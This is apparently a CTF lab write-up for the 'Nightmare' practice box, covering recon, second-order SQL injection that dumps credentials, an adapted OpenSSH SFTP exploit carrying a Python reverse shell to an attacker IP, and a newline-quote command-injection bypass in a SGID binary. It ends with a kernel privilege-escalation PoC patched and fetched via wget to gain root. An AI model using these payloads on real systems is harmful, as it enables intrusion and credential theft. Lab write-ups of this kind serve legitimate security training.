This writeup is splitted in two parts. The first one is about kindof intended way to get root. Turned out that there is an interesting unintended way to get root. I’ll publish it in the comments, with full research details.
Before we begin, let me spend some words about the meaning of “intended”. I don’t like how we use it: no vulnerability is intended in the real world, they are all unintended, so to me it would be better to use “thought” or “planned” way to describe this concept.
That being said, let’s start!
Lession learned
- second order sqli
- exploit porting 64bit >> 32bit (kindof)
- exploit customization
- some bash-fu
- some markdown (editing this file)
Nmap fast
nmap -T5 -p- -vvv -oA full_T5 10.10.10.66
Nmap scan report for 10.10.10.66
Host is up, received echo-reply ttl 63 (0.058s latency).
Scanned at 2018-03-24 13:15:46 CET for 223s
Not shown: 65533 filtered ports
Reason: 65533 no-responses
PORT STATE SERVICE REASON
80/tcp open http syn-ack ttl 63
2222/tcp open EtherNetIP-1 syn-ack ttl 63
Read data files from: /usr/bin/../share/nmap
## Nmap done at Sat Mar 24 13:19:29 2018 -- 1 IP address (1 host up) scanned in 222.48 seconds
Educated guess:
- 80 webserver
- 2222 ssh
Nmap Targeted
nmap -A -p80,2222- -vvv -oA targeted 10.10.10.66
Nmap scan report for 10.10.10.66
Host is up, received echo-reply ttl 63 (0.037s latency).
Scanned at 2018-03-24 13:38:09 CET for 321s
Not shown: 63313 filtered ports
Reason: 63313 no-responses
PORT STATE SERVICE REASON VERSION
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.18 ((Ubuntu))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: NOTES
2222/tcp open ssh syn-ack ttl 63 (protocol 2.0)
| fingerprint-strings:
| NULL:
|_ SSH-2.0-OpenSSH 32bit (not so recent ver)
| ssh-hostkey:
| 1024 e2:71:84:5d:ed:07:89:98:68:8b:6e:78:da:84:4c:b5 (DSA)
| ssh-dss AAAAB3NzaC1kc3MAAACBAOHCAip6mgd+JAcNfKGjeMkWDcuN8ZQP[...]
| 2048 bd:1c:11:9a:5b:15:d2:f6:28:76:c3:40:7c:80:6d:ec (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC32WHYHRqHAgS/dWz1OsSr[...]
| 256 bf:e8:25:bf:ca:92:55:bc:ca:a4:96:c7:43:d0:51:73 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlz[...]
| 256 6f:14:30:b1:39:47:54:b7:5a:01:be:96:2c:a7:96:58 (EdDSA)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICzPx4ZXFPSS+s0LXmSPYN2i71QuLZfDscN8dxAOtOCJ
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port2222-TCP:V=7.60%I=7%D=3/24%Time=5AB647EC%P=x86_64-pc-linux-gnu%r(NU
SF:LL,2B,"SSH-2\.0-OpenSSH\x2032bit\x20\(not\x20so\x20recent\x20ver\)\r\n"
SF:);
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
Aggressive OS guesses: Linux 3.10 - 4.8 (92%), Linux 3.16 (92%), Linux 3.16 - 4.6 (92%), Linux 3.18 (92%), Linux 3.2 - 4.8 (92%), Linux 4.2 (92%), Linux 4.4 (92%), Linux 3.12 (90%), Linux 3.13 (90%), Linux 3.13 or 4.2 (90%)
No exact OS matches for host (test conditions non-ideal).
[...]
Uptime guess: 0.095 days (since Sat Mar 24 11:26:21 2018)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=253 (Good luck!)
IP ID Sequence Generation: All zeros
TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 43.14 ms 10.10.14.1
2 41.41 ms 10.10.10.66
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
## Nmap done at Sat Mar 24 13:43:30 2018 -- 1 IP address (1 host up) scanned in 323.00 seconds
Check with educated guess:
- 80 webserver (ok)
- 2222 SSH-2.0-OpenSSH 32bit (not so recent ver)
please note that it seems that SSH version has been removed/changed.
Web Server
With Burpsuite in background, we can browse to port 80
Where we found a login form and a link to a registration form page.
NOTES
Username: ____________________
Password: ____________________
* Login
* Register
____________________________________________________________________________________________
"Abandon all hope, you who enter here"
"Nightmare" by Decoder & Stefano118
In register.php we can register with any username:password we like. Let’s start with a:a. Once logged, in we can post notes. Long story short, any text we enter both in title (newpost
) and body(<?php phpinfo();?>
) is inserted in the page as is:
NOTES
Welcome a - Logout
Title: ____________________
Text:
_________________________________________________________________________________________________
_________________________________________________________________________________________________
Insert
Select document to upload: ____________________ Upload
____________________________________________________________________________________________
newpost
<?php phpinfo();?>
____________________________________________________________________________________________
"Abandon all hope, you who enter here"
"Nightmare" by Decoder & Stefano118
The upload form seems not working, even if the uploaded file seems to reach the server, at least measuring the upload time.
Anyway, the form source code reveals a directory:
<form action="notes.php" method="post" enctype="multipart/form-data">
Select document to upload:
<input type="hidden" name=folder value="documents/">
<input type="file" name="fileToUpload" id="fileToUpload">
<input type="submit" value="Upload" name="submit">
</form>
La Divina Commedia - Inferno - Canto Primo
Let’s browse to http://10.10.10.66/documents/ …
array(4) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(9) "dante.txt" [3]=> string(9) "index.php" }
… and have a look to http://10.10.10.66/documents/dante.txt
Fwd ewrrg vwd useeaf va fgkljs nals
ea jaljgnsa hwj mfs kwdns gkumjs,
uzé ds vajalls nas wjs kesjjals.
[..]
Text is in unicode, and it is a rot(8) of the “Primo canto della Divina Commedia”.
Nel mezzo del cammin di nostra vita
mi ritrovai per una selva oscura,
ché la diritta via era smarrita.
[...]
Since one of the authors of this box is the same of the Minion box (Decoder), this seems to be another tribute to Dante.
Anyway, we can confirm that the upload form isn’t working (at least it does not upload anything here).
Second order sqli
Since the text seems to be inserted in the database as is, we may try some second order sqli on the register.php/notes.php pair of pages. So we can register these “usernames” (password whatever you may like: I used ‘a’ (without quotes)). You can see the output on the right:
' >> SQL ERROR
'## >> SQL ERROR
'-- >> SQL ERROR
a' or 1=1 #' >> nothing (neither output nor errors)
')#' >> nothing (neither output nor errors)
Let’s try to get the number of columns:
') union select 1#' >> SQL ERROR
') union select 1,2#' >> prints 1,2
so: the query has two columns. Let’s use them:
') union SELECT TABLE_SCHEMA, TABLE_NAME FROM INFORMATION_SCHEMA.TABLES #'
notes
notes
notes
users
sysadmin
configs
sysadmin
users
## usernames and passwords from notes database
') union SELECT username, password FROM notes.users #'
admin
ee10c315eba2c75b403ea99136f5b48d
nightmare
ae719e828367a0c8f268eb996322eba4
## usernames and passwords from notes database (results edited manually to make them more readable)
') union SELECT username, password FROM sysadmin.users #'
admin:nimda
cisco:cisco123
adminstrator:Pyuhs738?183*hjO!
josh:tontochilegge
system:manager
root:HasdruBal78
decoder:HackerNumberOne!
ftpuser:@whereyougo?
sys:change_on_install
superuser:passw0rd
user:odiolafeta
If we use https://crackstation.net/ or https://hashkiller.co.uk/md5-decrypter.aspx we get ee10c315eba2c75b403ea99136f5b48d
>> nimda
and ae719e828367a0c8f268eb996322eba4
>> [Not found]
Exploiting sftp
With that list of creds, we can try to login info the SFTP server. The easiest try is with metasploit auxiliary/scanner/ssh/ssh_login
module, that shows us ftpuser:@whereyougo?
as a working credential.
With this piece of information we can try to login to SSH (as I told the banner has been tamepered):
ssh -t ftpuser@10.10.10.66 -p 2222
PTY allocation request failed on channel 0
Nasty error, may be that is something related with the default shell?
ssh -t ftpuser@10.10.10.66 -p 2222 'id'
PTY allocation request failed on channel 0
No. It seems to be only a sftp OpenSSH deamon. Let’s explore the content of the box, for instance with Filezilla.
We can find a lot of things, including all the php source code, and mysql credentials and so on, but nothing that seems to be exploitable.
Out of ideas, I asked Google: sftp OpenSSH exploit
which promptly replayed with : Full Disclosure: OpenSSH <=6.6 SFTP misconfiguration exploit for 64bit Linux, a handy OpenSSH <=6.6 SFTP misconfiguration exploit for 64bit Linux waiting for us.
But do we have a 32 bit sftp deamon, isn’t is? Let’s google deeper with a “32 bit” addenda. Turns out that I stroke it lucky, because if you try now, you may have to ask Google to limit his search after February 1th in order to get:
As you can read, this is a 32 bit porting of that quite old 64 bit exploit, published after Nightmare went online. Since I think that I never could be so smart even start to port an explot from 64 to 32 bit, please read that blog post to fully understand how it works.
So, can this step be done script kiddie way, i.e. copy/paste/modify/run the script?
No, because we have to remember that we cannot write anywhere and we have to use one of the two “allowed” port, 80 or 443 (just in case we forgot that this is an insane box…).
Since a locate python
confirms that this software is installed, we can use a python reverse shell:
cmd = "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.83\",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"
host = '10.10.10.66'
port = 2222
username = 'ftpuser'
password = '@whereyougo?'
which provide us a www-data
owned reverse shell.
Becoming decoder (kind of…)
Once we have a shell, let’s try a quick win:
uname -a
Linux nightmare 4.8.0-58-generic #63~16.04.1-Ubuntu SMP Mon Jun 26 18:08:51 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
As with SSH (do you remember nmap output for port 2222 ?), part of the description has been changed ([-xenial-] >> [+nightmare+]) but the version 4.8.0-58-generic #63~16.04.1-Ubuntu SMP Mon Jun 26 18:08:51 is still enough to find a kernel exploit with google.
google "4.8.0-58-generic #63~16.04.1-Ubuntu SMP Mon Jun 26 18:08:51" exploit
Yes!, got it! Linux Kernel < 4.4.0-83 / < 4.8.0-58 (Ubuntu 14.04/16.04) - Local Privilege Escalation (KASLR / SMEP) - Linux local Exploit and kernel-exploits/poc.c at master · xairy/kernel-exploits · GitHub
Ehmmm, kind of… Since the authors put a lot of time on hardening the box, every file seems to be readonly to sftpuser and we cannot find any place to put our code. Moreover, some commands are disabled with ACLs. Among the others we cannot use:
getfacls
ps
top
pstree
We can use, at least, find
with some bash-fu:
find / -user decoder 2>&1 | grep -v denied | grep -v directory | xargs ls -la
-rw-r----- 1 decoder decoder 220 Sep 1 2015 /home/decoder/.bash_logout
-rw-r----- 1 decoder decoder 3771 Sep 1 2015 /home/decoder/.bashrc
-rw-r----- 1 decoder decoder 675 Sep 1 2015 /home/decoder/.profile
-r--r-----+ 1 decoder decoder 33 Sep 12 2017 /home/decoder/user.txt
find / -group decoder 2>&1 | grep -v denied | grep -v directory | xargs ls -la
-rw-r----- 1 decoder decoder 220 Sep 1 2015 /home/decoder/.bash_logout
-rw-r----- 1 decoder decoder 3771 Sep 1 2015 /home/decoder/.bashrc
-rw-r----- 1 decoder decoder 675 Sep 1 2015 /home/decoder/.profile
-r--r-----+ 1 decoder decoder 33 Sep 12 2017 /home/decoder/user.txt
-rwxr-sr-x 1 root decoder 9016 Feb 18 2016 /usr/bin/sls
/home/decoder:
total 28
drwxr-xr-x 3 root decoder 4096 Sep 28 2017 .
drwxr-xr-x 3 root root 4096 Sep 30 2017 ..
-rw------- 1 root root 0 Sep 13 2017 .bash_history
-rw-r----- 1 decoder decoder 220 Sep 1 2015 .bash_logout
-rw-r----- 1 decoder decoder 3771 Sep 1 2015 .bashrc
-rw-r----- 1 decoder decoder 675 Sep 1 2015 .profile
drwx-wx--x 2 root decoder 4096 Apr 9 15:37 test
-r--r-----+ 1 decoder decoder 33 Sep 12 2017 user.txt
ls: cannot open directory '/home/decoder/test': Permission denied
Let’s twiddle this inviting SGID /usr/bin/sls
binary:
/usr/bin/sls
bin
boot
dev
etc
[...]
/usr/bin/sls /home
decoder
/usr/bin/sls -la /home
total 12
drwxr-xr-x 3 root root 4096 Sep 30 2017 .
drwxr-xr-x+ 24 root root 4096 Sep 30 2017 ..
drwxr-xr-x 3 root decoder 4096 Sep 28 2017 decoder
/usr/bin/sls nonsense
/bin/ls: cannot access 'nonsense': No such file or directory
So, it seems that it invokes /bin/ls
, let’s issue some other commands on the remote machine:
strings /usr/bin/sls
objdump /usr/bin/sls -x
So, it uses strlen(), system(), strchr() and there are some weird strings.
It’s better to donwload the file via SFTP and analyze it with gdb/peda to understand what’s going on:
gdb sls
disass main
## copy the result on a file grep @plt that file
0x000000000040078f <+41>: call 0x400610 <malloc@plt>
0x0000000000400827 <+193>: call 0x4005d0 <strlen@plt>
0x0000000000400849 <+227>: call 0x4005d0 <strlen@plt>
0x000000000040085f <+249>: call 0x400620 <realloc@plt>
0x00000000004008b7 <+337>: call 0x400630 <strcat@plt>
0x00000000004008ef <+393>: call 0x400650 <strstr@plt>
0x0000000000400905 <+415>: call 0x4005f0 <strchr@plt>
0x000000000040091a <+436>: call 0x400640 <exit@plt>
0x0000000000400932 <+460>: call 0x4005f0 <strchr@plt>
0x0000000000400941 <+475>: call 0x400640 <exit@plt>
0x000000000040095d <+503>: call 0x4005e0 <system@plt>
0x0000000000400969 <+515>: call 0x4005c0 <free@plt>
That is to say:
allocate some memory
check len
reallocate memory
concatenate strings
check for substring
check for char
invoke sth via system
free
We have already seen that /bin/ls
is invoked, so we may suppose that system()
is used for that.
We have already seen that issuing /usr/bin/sls -la
results in a /bin/ls -la
command. So may be that /usr/bin/sls args are concatenated into the final command. Let’s check:
b main
b *0x00000000004008b7
r -la honolulu
0 ("/bin/ls ")
RBX: 0x7
RCX: 0xfffffffffffffff7
RDX: 0x7ffdbce4f3f8 --> 0x6f6e6f6800616c2d ('-la')
RSI: 0x7ffdbce4f3f8 --> 0x6f6e6f6800616c2d ('-la')
RDI: 0xe6f260 ("/bin/ls ")
RBP: 0x7ffdbce4ed90 --> 0x400980 (<__libc_csu_init>: push r15)
RSP: 0x7ffdbce4ed50 --> 0x7ffdbce4ee78 --> 0x7ffdbce4f3d7 ("/root/Documents/Nightmare_66/sls")
RIP: 0x4008b7 (<main+337>: call 0x400630 <strcat@plt>)
R8 : 0x7fe9a0825c40 --> 0x0
R9 : 0x7fe9a0512eb0 (<__wcpcpy>: sub rsi,rdi)
R10: 0x201
R11: 0x7fe9a04f3cb0 (<__GI___libc_realloc>: push r15)
R12: 0x400670 (<_start>: xor ebp,ebp)
R13: 0x7ffdbce4ee70 --> 0x3
R14: 0x0
R15: 0x0
EFLAGS: 0x212 (carry parity ADJUST zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x4008ad <main+327>: mov rax,QWORD PTR [rbp-0x28]
0x4008b1 <main+331>: mov rsi,rdx
0x4008b4 <main+334>: mov rdi,rax
=> 0x4008b7 <main+337>: call 0x400630 <strcat@plt>
0x4008bc <main+342>: add DWORD PTR [rbp-0x2c],0x1
0x4008c0 <main+346>: mov eax,DWORD PTR [rbp-0x2c]
0x4008c3 <main+349>: cmp eax,DWORD PTR [rbp-0x34]
0x4008c6 <main+352>: jl 0x4007b5 <main+79>
Guessed arguments:
arg[0]: 0xe6f260 ("/bin/ls ")
arg[1]: 0x7ffdbce4f3f8 --> 0x6f6e6f6800616c2d ('-la')
arg[2]: 0x7ffdbce4f3f8 --> 0x6f6e6f6800616c2d ('-la')
[------------------------------------stack-------------------------------------]
0000| 0x7ffdbce4ed50 --> 0x7ffdbce4ee78 --> 0x7ffdbce4f3d7 ("/root/Documents/Nightmare_66/sls")
0008| 0x7ffdbce4ed58 --> 0x3004009cd
0016| 0x7ffdbce4ed60 --> 0x1000000e0
0024| 0x7ffdbce4ed68 --> 0xe6f260 ("/bin/ls ")
0032| 0x7ffdbce4ed70 --> 0x400980 (<__libc_csu_init>: push r15)
0040| 0x7ffdbce4ed78 --> 0x400a04 ("|`&><'\"\\[]{};") #'
0048| 0x7ffdbce4ed80 --> 0x7ffdbce4ee70 --> 0x3
0056| 0x7ffdbce4ed88 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 3, 0x00000000004008b7 in main ()
ni
[----------------------------------registers-----------------------------------]
RAX: 0xe6f260 ("/bin/ls -la")
RBX: 0x7
RCX: 0x7fe9a050f5c0 (<__strcat_sse2_unaligned+1616>: mov edx,DWORD PTR [rsi])
RDX: 0x616c2d ('-la')
RSI: 0x7ffdbce4f3f8 --> 0x6f6e6f6800616c2d ('-la')
RDI: 0xe6f268 --> 0x616c2d ('-la')
RBP: 0x7ffdbce4ed90 --> 0x400980 (<__libc_csu_init>: push r15)
RSP: 0x7ffdbce4ed50 --> 0x7ffdbce4ee78 --> 0x7ffdbce4f3d7 ("/root/Documents/Nightmare_66/sls")
RIP: 0x4008bc (<main+342>: add DWORD PTR [rbp-0x2c],0x1)
R8 : 0x7fe9a0825c40 --> 0x0
R9 : 0xe6f260 ("/bin/ls -la")
R10: 0x4de
R11: 0x7fe9a05e9c94 --> 0xfff2590cfff258fc
R12: 0x400670 (<_start>: xor ebp,ebp)
R13: 0x7ffdbce4ee70 --> 0x3
R14: 0x0
R15: 0x0
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x4008b1 <main+331>: mov rsi,rdx
0x4008b4 <main+334>: mov rdi,rax
0x4008b7 <main+337>: call 0x400630 <strcat@plt>
=> 0x4008bc <main+342>: add DWORD PTR [rbp-0x2c],0x1
0x4008c0 <main+346>: mov eax,DWORD PTR [rbp-0x2c]
0x4008c3 <main+349>: cmp eax,DWORD PTR [rbp-0x34]
0x4008c6 <main+352>: jl 0x4007b5 <main+79>
0x4008cc <main+358>: mov rax,QWORD PTR [rbp-0x28]
[------------------------------------stack-------------------------------------]
0000| 0x7ffdbce4ed50 --> 0x7ffdbce4ee78 --> 0x7ffdbce4f3d7 ("/root/Documents/Nightmare_66/sls")
0008| 0x7ffdbce4ed58 --> 0x3004009cd
0016| 0x7ffdbce4ed60 --> 0x1000000e0
0024| 0x7ffdbce4ed68 --> 0xe6f260 ("/bin/ls -la")
0032| 0x7ffdbce4ed70 --> 0x400980 (<__libc_csu_init>: push r15)
0040| 0x7ffdbce4ed78 --> 0x400a04 ("|`&><'\"\\[]{};") #'
0048| 0x7ffdbce4ed80 --> 0x7ffdbce4ee70 --> 0x3
0056| 0x7ffdbce4ed88 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x00000000004008bc in main ()
ni
[...]
ni
[----------------------------------registers-----------------------------------]
RAX: 0xe6f260 ("/bin/ls -la honolulu")
RBX: 0xb ('\x0b')
RCX: 0x756c756c6f6e6f68 ('honolulu')
RDX: 0x0
RSI: 0x75 ('u')
RDI: 0xe6f260 ("/bin/ls -la honolulu")
RBP: 0x7ffdbce4ed90 --> 0x400980 (<__libc_csu_init>: push r15)
RSP: 0x7ffdbce4ed50 --> 0x7ffdbce4ee78 --> 0x7ffdbce4f3d7 ("/root/Documents/Nightmare_66/sls")
RIP: 0x40095d (<main+503>: call 0x4005e0 <system@plt>)
R8 : 0xfff1e000
R9 : 0xe6f260 ("/bin/ls -la honolulu")
R10: 0x6fa
R11: 0x7fe9a0506940 (<__strchr_sse2>: movd xmm1,esi)
R12: 0x400670 (<_start>: xor ebp,ebp)
R13: 0x7ffdbce4ee70 --> 0x3
R14: 0x0
R15: 0x0
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x400954 <main+494>: jne 0x40091f <main+441>
0x400956 <main+496>: mov rax,QWORD PTR [rbp-0x28]
0x40095a <main+500>: mov rdi,rax
=> 0x40095d <main+503>: call 0x4005e0 <system@plt>
0x400962 <main+508>: mov rax,QWORD PTR [rbp-0x28]
0x400966 <main+512>: mov rdi,rax
0x400969 <main+515>: call 0x4005c0 <free@plt>
0x40096e <main+520>: mov eax,0x0
Guessed arguments:
arg[0]: 0xe6f260 ("/bin/ls -la honolulu")
[------------------------------------stack-------------------------------------]
0000| 0x7ffdbce4ed50 --> 0x7ffdbce4ee78 --> 0x7ffdbce4f3d7 ("/root/Documents/Nightmare_66/sls")
0008| 0x7ffdbce4ed58 --> 0x3004009cd
0016| 0x7ffdbce4ed60 --> 0x3000000e0
0024| 0x7ffdbce4ed68 --> 0xe6f260 ("/bin/ls -la honolulu")
0032| 0x7ffdbce4ed70 --> 0xe6f274 --> 0x20d9100000000
0040| 0x7ffdbce4ed78 --> 0x400a04 ("|`&><'\"\\[]{};") #'
0048| 0x7ffdbce4ed80 --> 0x7ffdbce4ee70 --> 0x3
0056| 0x7ffdbce4ed88 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0x000000000040095d in main ()
As we can see (0024| 0x7ffdbce4ed68 --> 0xe6f260 ("/bin/ls -la honolulu")
) the command is actually concatenated as supposed.
With further debugging we can understand more sls
internals. Long story short, if we fire /usr/bin/sls
with -b
there are two filters, one for the string $(
and another one for any of these chars: |``&><'\"\\[]{};
everything that passes these filters is sent to a system() call to /bin/ls
.
But how can we bypass both filters and have our desired command executed? Turned out that we have it at our fingertips: what’s the behavior of bash when we do not close a quote/double quote and hit enter? It goes on accepting multiple lines of commands, until we close it, when it executes all the commands, one after the other [Token recognition].
Let’s try it locally:
sh -c '
ls -la
id
whoami
'
[...]
Did you usually ctrl+c when you mistype a '
in a shell? Bad bet!
So to bypass these filters “just”:
/usr/bin/sls -b '
id'
or
/usr/bin/sls -b "
id"
or
bash
/usr/bin/sls -b $'\nid' #will not work if issued on a sh
Please note that both '
and "
are included in the forbidden forest chars |``&><'\"\\[]{};
. If you wonder why they work there, it’s because they are processed before the entire block of commands is sent to /usr/bin/sls
.
/usr/bin/sls -b "
bash -ip"
bash-4.3$ id
uid=1002(ftpuser) gid=1002(ftpuser) egid=1001(decoder) groups=1001(decoder),1002(ftpuser)
so we are not decoder, but member of decoder group. As I said “kind of” decoder. Enough to cat /home/decoder/user.txt
Becoming root - Kernel exploit as decoder (kind of…)
As we have already seen, long time ago,
uname -a
Linux nightmare 4.8.0-58-generic #63~16.04.1-Ubuntu SMP Mon Jun 26 18:08:51 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
led us to a kernel exploit. Since it autodetects distro (/etc/lsb-release
) and kernel version (via uname
) , we have to change poc.c to mypoc.c. adding a few lines of code.
--- /root/Documents/Nightmare_66/poc.c
+++ /root/Documents/Nightmare_66/mypoc.c
@@ -128,6 +128,7 @@
{ "xenial", "4.8.0-54-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x43a0da, 0x5ada3c, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 },
{ "xenial", "4.8.0-56-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x39d50d, 0x119207, 0x1b170, 0x43a14a, 0x44d4a0, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 },
{ "xenial", "4.8.0-58-generic", 0xa5d20, 0xa6110, 0x17c55, 0xe56f5, 0x119227, 0x1b170, 0x439e7a, 0x162622, 0x7bd23, 0x12c7f7, 0x64210, 0x49fa0 },
+ { "bladerunner", "4.8.0-58-generic", 0xa5d20, 0xa6110, 0x17c55, 0xe56f5, 0x119227, 0x1b170, 0x439e7a, 0x162622, 0x7bd23, 0x12c7f7, 0x64210, 0x49fa0 },
};
// Used to get root privileges.
@@ -328,7 +329,9 @@
if (strcmp("xenial", kernels[kernel].distro) == 0 &&
strncmp("4.8.0", kernels[kernel].version, 5) == 0)
return get_kernel_addr_xenial(syslog, size);
-
+ if (strcmp("bladerunner", kernels[kernel].distro) == 0 &&
+ strncmp("4.8.0", kernels[kernel].version, 5) == 0)
+ return get_kernel_addr_xenial(syslog, size);
printf("[-] KASLR bypass only tested on trusty 4.4.0-* and xenial 4-8-0-*");
exit(EXIT_FAILURE);
}
after that we can compile it locally gcc mypoc.c -o mypoc
, wget mypoc to /home/decoder/test/
and chmod 770 mypoc
as decoder (kind of) and fire it as ftpuser
, since decoder
is untouchable.
wget http://10.10.14.188/mypoc
chmod 770 mypoc
ls -la mypoc
-rwxrwx--- 1 ftpuser decoder 28032 Mar 28 21:31 mypoc
bash-4.3$ exit
$ id
uid=1002(ftpuser) gid=1002(ftpuser) groups=1002(ftpuser)
$ /home/decoder/test/mypoc
bash: cannot set terminal process group (20833): Inappropriate ioctl for device
bash: no job control in this shell
root@nightmare:/# id
id
uid=0(root) gid=0(root) groups=0(root)
we are root and, of course we can
root@nightmare:/#cat root/root.txt
[...]